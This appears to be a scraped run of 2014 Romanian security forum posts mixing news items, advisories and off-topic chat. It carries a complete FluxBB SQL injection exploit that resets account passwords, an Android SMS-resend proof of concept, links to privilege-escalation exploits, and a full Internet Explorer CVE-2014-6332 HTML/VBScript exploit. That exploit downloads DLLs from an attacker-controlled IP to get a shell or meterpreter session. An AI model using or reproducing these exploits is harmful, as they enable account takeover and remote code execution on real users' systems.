capacity to process the transactions. In the network, the user's identity is hidden behind a cryptographic pseudonym, which can be changed as often as is wanted. Transactions are signed with this pseudonym and broadcast to the public network to verify their authenticity and attribute the Bitcoins to the new owner. In their new study, researchers at the Laboratory of Algorithmics, Cryptology and Security of the University of Luxembourg have shown that Bitcoin does not protect user's IP address and that it can be linked to the user's transactions in real-time. To find this out, a hacker would need only a few computers and about €1500 per month for server and traffic costs. Moreover, the popular anonymization network "Tor" can do little to guarantee Bitcoin user's anonymity, since it can be blocked easily. The basic idea behind these findings is that Bitcoin entry nodes, to which the user's computer connects in order to make a transaction, form a unique identifier for the duration of user's session. This unique pattern can be linked to a user's IP address. Moreover, transactions made during one session, even those made via unrelated pseudonyms, can be linked together. With this method, hackers can reveal up to 60 percent of the IP addresses behind the transactions made over the Bitcoin network. "This Bitcoin network analysis combined with previous research on transaction flows shows that the level of anonymity in the Bitcoin network is quite low," explains Dr. Alex Biryukov. In the paper recently presented at the ACM Conference on Computer and Communications Security the team also described how to prevent such an attack on user's privacy. Software patches written by the researchers are currently under discussion with the Bitcoin core developers. Story Source: The above story is based on materials provided by Université du Luxembourg. Note: Materials may be edited for content and length. Journal Reference: Alex Biryukov, Dmitry Khovratovich, Ivan Pustogarov. Deanonymisation of clients in Bitcoin P2P network. Proceedings of the ACM Conference on Computer and Communications Security, 2014 [link] Sursa: Bitcoin, virtual money: User's identity can be revealed much easier than thought -- ScienceDaily

Asta e tutorialul "Cum sa iti faci tricou cu RST".

Am facut la Unirea, la parter, cu 55 RON. Are doar logo RST pe fata, atat. Imagine: http://i.imgur.com/S0oRGik.png Am pus doar imaginea (marime A4) asta pe un tricou negru.

[h=2]FluxBB 1.5.6 SQL Injection Exploit[/h] #!/usr/bin/env python # Friday, November 21, 2014 - secthrowaway@safe-mail.net # FluxBB <= 1.5.6 SQL Injection # make sure that your IP is reachable url = 'http://target.tld/forum/' user = 'user' # dummy account pwd = 'test' import urllib, sys, smtpd, asyncore, re, sha from email import message_from_string from urllib2 import Request, urlopen ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36" bindip = '0.0.0.0' def stage1(sql): if len(sql) > 80: sys.exit('SQL too long, max 80 chars') print "1st stage: %s (%d chars)" % (sql, len(sql)) r = urlopen(Request('%sprofile.php?action=change_email&id=%s' % (url, uid), data="form_sent=1&req_new_email=%s&req_password=%s&new_email=Submit" % (urllib.quote(sql), pwd), headers={"Referer": "%sprofile.php" % url, "User-agent": ua, "Cookie": cookie})).read() if 'An email has been sent to the specified address' not in r: sys.exit('err') def stage3(key): print "3rd stage, using key: %s" % key r = urlopen(Request('%sprofile.php?action=change_pass&id=%s&key=%s' % (url, uid, key), headers={"User-agent": ua})).read() if 'Your password has been updated' in r: print 'success' else: print 'err' class stage2_smtp(smtpd.SMTPServer): def process_message(self, peer, mailfrom, rcpttos, data): print '2nd stage: got mail', peer, mailfrom, "to:", rcpttos key = re.search("(https?://.*&key=([^\s]+))", message_from_string(data).get_payload(decode=True), re.MULTILINE) if key is not None: raise asyncore.ExitNow(key.group(2)) return def login(): print "logging in" r = urlopen(Request('%slogin.php?action=in' % url, data="form_sent=1&req_username=%s&req_password=%s" % (user, pwd), headers={"User-agent": ua})) try: t = r.info()['set-cookie'].split(';')[0] return (t.split('=')[1].split('%7C')[0], t) except: sys.exit('unable to login, check user/pass') uid, cookie = login() email_domain = urlopen(Request('http://tns.re/gen')).read() print "using domain: %s" % email_domain #this will change your password to your password stage1('%s\'/**/where/**/id=%s#@%s' % (sha.new(pwd).hexdigest(), uid, email_domain)) #this will change admin's (uid=2) password "123456" #stage1('%s\'/**/where/**/id=%s#@%s' % (sha.new("123456").hexdigest(), 2, email_domain)) try: print "2nd stage: waiting for mail" server = stage2_smtp((bindip, 25), None) asyncore.loop() except asyncore.ExitNow, key: stage3(key) # FD4AFB8D7547D584 1337day.com [2014-11-26] F29AD4CCFFC313CB # Sursa: 1337day Inj3ct0r Exploit Database : vulnerability : 0day : shellcode by Inj3ct0r Team

CVE-2014-8610 Android < 5.0 SMS resend vulnerability From: "Wang,Tao(Scloud)" <wangtao12 () baidu com> Date: Wed, 26 Nov 2014 02:55:01 +0000 INTRODUCTION ================================== In Android <5.0, an unprivileged app can resend all the SMS stored in the user's phone to their corresponding recipients or senders (without user interaction). No matter whether these SMS are sent to or received from other people. This may leads to undesired cost to user. Even the worse, since Android also allow unprivileged app to create draft SMS, combined with this trick, bad app can send any SMS without privilege requirement. DETAILS ================================== This vulnerability exists in the following source file of the Mms app: https://android.googlesource.com/platform/packages/apps/Mms/+/android-4.4.4_r2.0.1/src/com/android/mms/transaction/SmsReceiverService.java If bad app broadcast an intent with action "com.android.mms.transaction.MESSAGE_SENT", it will reach the method "handleSmsSent". If the bad app can also control the resultcode to be RESULT_ERROR_RADIO_OFF, then it will reach the following conditional branch, there the SMS (determined by uri ) will be moved to a queue to be resent: private void handleSmsSent(Intent intent, int error) { ... } else if ((mResultCode == SmsManager.RESULT_ERROR_RADIO_OFF) || (mResultCode == SmsManager.RESULT_ERROR_NO_SERVICE)) { if (Log.isLoggable(LogTag.TRANSACTION, Log.VERBOSE)) { Log.v(TAG, "handleSmsSent: no service, queuing message w/ uri: " + uri); } // We got an error with no service or no radio. Register for state changes so // when the status of the connection/radio changes, we can try to send the // queued up messages. registerForServiceStateChanges(); // We couldn't send the message, put in the queue to retry later. Sms.moveMessageToFolder(this, uri, Sms.MESSAGE_TYPE_QUEUED, error); ... The POC code is as follows: Intent intent= new Intent("com.android.mms.transaction.MESSAGE_SENT"); intent.setData(Uri.parse("content://sms")); intent.setClassName("com.android.mms", "com.android.mms.transaction.SmsReceiver"); sendOrderedBroadcast(intent,null,null,null,SmsManager.RESULT_ERROR_RADIO_OFF,null,null); Some tips about the POC: 1. uri is content://sms without specifying the ID, that means all the SMS will be resent. 2. must use explicit intent 3. with this version of sendOrderedBroadcast, the initial result code can be controlled Normally, once the SMS is moved to the queue, it will be sent automatically! But can we craft any SMS message? here is a trick: Currently, any app can create a draft SMS without permission by a code snippet as follows: Intent intent1 = new Intent("android.intent.action.SENDTO"); intent1.setData(Uri.parse("smsto:yourphonenumber")); intent1.putExtra("sms_body", "another test sms1!"); startActivity(intent1); After send the above intent, the app can wait for a short time then start another activity, this will cause ComposeMessageActivity in MMS app to call method onStop(), which will save the draft into database, which can be resent later. Thus we can craft any SMS message without permission requirement. This has been fixed in android 5.0 (android bug id 17671795) https://android.googlesource.com/platform/packages/apps/Mms/+/008d6202fca4002a7dfe333f22377faa73585c67 TIMELINE ================================== 26.09.2014 Initial report to Android Security Team with the POC 27.09.2014 Reply from Android Security Team "are looking into it" 30.09.2014 Find app can create draft and notify Android Security Team with a updated POC 02.10.2014 Reply from Android Security Team "We will fix this issue in the next major release" 04.11.2014 Android 5.0 source code is open, the fix for this issue is found in change log, ask Android Security Team when this can be published 09.11.2014 Contact MITRE about this issue 20.11.2014 CVE-2014-8610 assigned 25.11.2014 Got Permission from Android Security Team to publish this 26.11.2014 Public Disclosure IDENTIFIERS ================================== CVE-2014-8610 Android id 17671795 CREDITS ================================== WangTao (neobyte) of Baidu X-Team WangYu of Baidu X-Team Zhang Donghui of Baidu X-Team -- BAIDU X-TEAM (xteam.baidu.com) An external link of this advisory can be found at CVE-2014-8610 Android < 5.0 SMS resend vulnerability | ????????? Sursa: Full Disclosure: CVE-2014-8610 Android < 5.0 SMS resend vulnerability

THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS Kaspersky Lab Report Version 1.0 24 November 2014 Contents Introduction, history...................................................................................................................................................... 3 Initial compromise and lateral movement................................................................................................................... 3 The Regin platform........................................................................................................................................................ 4 Stage 1 – 32/64 bit................................................................................................................................................ 4 Stage 2 – loader – 32-bit....................................................................................................................................... 7 Stage 2 – loader – 64-bit....................................................................................................................................... 8 Stage 3 – 32-bit – kernel mode manager “VMEM.sys”........................................................................................ 8 Stage 3 – 64-bit....................................................................................................................................................... 9 Stage 4 (32-bit) / 3 (64-bit) – dispatcher module, ‘disp.dll’................................................................................. 9 32-bit.................................................................................................................................................................. 9 64-bit.................................................................................................................................................................. 9 Stage 4 – Virtual File Systems (32/64-bit)..........................................................................................................10 Unusual modules and artifacts..................................................................................................................................16 Artifacts..................................................................................................................................................................16 GSM targeting........................................................................................................................................................18 Communication and C&C...........................................................................................................................................20 Victim statistics ..........................................................................................................................................................22 Attribution....................................................................................................................................................................23 Conclusions.................................................................................................................................................................23 Technical appendix and indicators of compromise...................................................................................................24 Yara rules................................................................................................................................................................24 MD5s......................................................................................................................................................................25 Registry branches used to store malware stages 2 and 3.............................................................................26 C&C IPs...................................................................................................................................................................26 VFS RC5 decryption algorithm..............................................................................................................................27 Download: https://securelist.com/files/2014/11/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf

[h=1]International Journal of PoC || GTFO issues[/h] To comply with and support the samizdat license of PoC||GTFO, here are the journal issues so far: Issue 0x00 Issue 0x01 Issue 0x02 Issue 0x03 Issue 0x04 Issue 0x05 Issue 0x06 Sursa: International Journal of PoC || GTFO issues [Openwall Community Wiki] Cool stuff!

CVE-2014-6332 PoC to get shell or bypass protected mode <html> <head> <!-- CVE-2014-6332 PoC to get meterpreter shell or bypass IE protected mode - Tested on IE11 + Windows 7 64-bit References: - original PoC - http://www.exploit-db.com/exploits/35229/ - http://blog.trendmicro.com/trendlabs-security-intelligence/a-killer-combo-critical-vulnerability-and-godmode-exploitation-on-cve-2014-6332/ - http://security.coverity.com/blog/2014/Nov/eric-lippert-dissects-cve-2014-6332-a-19-year-old-microsoft-bug.html - https://www.blackhat.com/docs/us-14/materials/us-14-Yu-Write-Once-Pwn-Anywhere.pdf - http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/There-s-No-Place-Like-Localhost-A-Welcoming-Front-Door-To-Medium/ba-p/6560786#.U9v5smN5FHb --> <meta http-equiv="x-ua-compatible" content="IE=10"> </head> <body> <script language="javascript"> var oReq; function getdll(downloadFile) { oReq = new XMLHttpRequest(); oReq.open("GET", "http://192.168.1.100/"+downloadFile, true); oReq.onreadystatechange = handler; oReq.send(); } function handler() { if (oReq.readyState == 4 && oReq.status == 200) { OnDownloadDone(); } } function tolocal() { location.href = "http://localhost:5555/stage2.html" } </script> <script language="VBScript"> ' local server files to get medium integrity downloadFiles = Array("ieshell32.dll", "ielocalserver.dll", "stage2.html") cacheRegex = Array("^ieshell32\[\d\].dll$", "^ielocalserver\[\d\].dll$", "^stage2\[\d\].htm$") ' reverse meterpreter shell files 'downloadFiles = Array("ieshell32.dll", "metp.dll") 'cacheRegex = Array("^ieshell32\[\d\].dll$", "^metp\[\d\].dll$") Dim cacheFiles(3) Dim downloadState Dim pinTime Dim oFSO Dim oWS Dim shell function FindFile(path, regexFile) FindFile = "" For Each f in oFSO.GetFolder(path).Files If regexFile.Test(f.Name) Then FindFile = f.Name Exit For End If Next end function function SearchCache(path, regexFile) SearchCache = "" For Each fld in oFSO.GetFolder(path).SubFolders 'If DateDiff("s", pinTime, fld.DateLastModified) >= 0 Then filename = FindFile(path & "\" & fld.Name, regexFile) If filename <> "" Then SearchCache = path & "\" & fld.Name & "\" & filename Exit For End If 'End If Next end function function loaddll() On Error Resume Next Set wshSystemEnv = oWS.Environment("Process") tmpDir = oFSO.GetSpecialFolder(2) tmpSysDir = tmpDir & "\System32" tmpShellFile = tmpSysDir & "\shell32.dll" oFSO.CreateFolder(tmpSysDir) oFSO.CopyFile cacheFiles(0), tmpShellFile mydllFile = tmpDir & "\" & downloadFiles(1) oFSO.CopyFile cacheFiles(1), mydllFile wshSystemEnv("MyDllPath") = mydllFile If (UBound(downloadFiles) = 2) Then stage2File = tmpDir & "\stage2.html" oFSO.CopyFile cacheFiles(2), stage2File wshSystemEnv("stage2file") = stage2File End If saveRoot = wshSystemEnv("SystemRoot") wshSystemEnv("SaveSystemRoot") = saveRoot wshSystemEnv("SystemRoot") = tmpDir Set shell = CreateObject("Shell.Application") ' have to restore %SystemRoot% in dll, not here oFSO.DeleteFile tmpShellFile oFSO.DeleteFolder tmpSysDir If (UBound(downloadFiles) = 2) Then call tolocal() End If end function Sub OnDownloadDone() cacheDir = oWS.ExpandEnvironmentStrings("%LOCALAPPDATA%") cacheDir = cacheDir & "\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5" Set regexFile = new regexp regexFile.Pattern = cacheRegex(downloadState) cacheFiles(downloadState) = SearchCache(cacheDir, regexFile) If cacheFiles(downloadState) = "" Then Exit Sub End If If downloadState = UBound(downloadFiles) Then loaddll() Else downloadState = downloadState + 1 DoDownload() End If End Sub Sub DoDownload() pinTime = Now call getdll(downloadFiles(downloadState)) End Sub Sub runshell() Set oFSO = CreateObject("Scripting.FileSystemObject") Set oWS = CreateObject("WScript.Shell") downloadState = 0 DoDownload() End Sub </script> <script language="VBScript"> dim arrX() dim arrY() dim asize dim incsize dim olapPos Begin() function Begin() On Error Resume Next Init() If Exploit() = True Then EnableGodMode() redim Preserve arrX(asize) runshell() End If end function function Init() Randomize() asize = 13 + 17*rnd(6) incsize = 7 + 3*rnd(5) end function function Exploit() dim i Exploit = False For i = 0 To 400 asize = asize + incsize If Trigger() = True Then Exploit = True Exit For End If Next end function function Trigger() On Error Resume Next dim typev dim ofnumele Trigger = False olapPos = asize + 2 ofnumele = asize + &h8000000 redim Preserve arrX(asize) redim arrY(asize) redim Preserve arrX(ofnumele) typev = 1 arrY(0) = 1.123456789012345678901234567890 If (IsObject(arrX(olapPos-1)) = False) Then If (VarType(arrX(olapPos-1)) <> 0) Then If (IsObject(arrX(olapPos)) = False) Then typev = VarType(arrX(olapPos)) End If End If End If If (typev = &h2f66) Then Trigger = True Else redim Preserve arrX(asize) End If end function function ReadMemInt(addr) arrY(0) = 0 arrX(olapPos) = addr+4 arrY(0) = 8 ReadMemInt = lenb(arrX(olapPos)) end function function EnableGodMode() i = LeakFnAddr() i = ReadMemInt(i+8) i = ReadMemInt(i+16) myarray = Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uFFFF%u7FFF%u0000%u0000") arrX(olapPos+2) = myarray arrY(2) = 8192 + 12 EnableGodMode = False For k=0 To &h60 step 4 j = ReadMemInt(i+&h120+k) If (j = 14) Then arrX(olapPos+2)(i+&h11c+k) = arrY(4) EnableGodMode = True Exit For End If Next end function sub dummyfn() end sub function LeakFnAddr() On Error Resume Next i = dummyfn i = null arrY(0) = 0 arrX(olapPos) = i arrY(0) = 3 LeakFnAddr = arrX(olapPos) end function </script> </body> </html> Sursa: https://gist.github.com/worawit/1213febe36aa8331e092

Cativa ne-am facut tricou cu RST. Cine vrea detalii sa imi dea PM.

No, vedeto, tu ramai andargraund :">

E ok. Nu ne place spam-ul, postati doar cand e cazul, nu doar ca sa va aflati in treaba.

Tocmai din acest motiv nu vrem bani de la voi: veniti cu 5 euro, cat e un pachet de tigari, si mai vreti si avantaje. ";)" De exemplu, e cineva care a dat de cateva ori cate 100 de euro. Si nu, nu a dorit niciun avantaj. Cam asta inseamna donatie.

Paul Rascagnères ?@r00tbsd Oct 20 CVE-2014-4113 privilege escalation: https://mega.co.nz/#!tJVBlIwZ!Lg8UTeZjraTcBl0lEHWZ6PV6tXhr1v8IY7RWT0e83Hs and CVE-2014-4114 generator here: https://mega.co.nz/#!xRVVgYjI!tDXctdYUI_z1CYp1TMa54OO2xoSIuzmACKPWBHDnM4M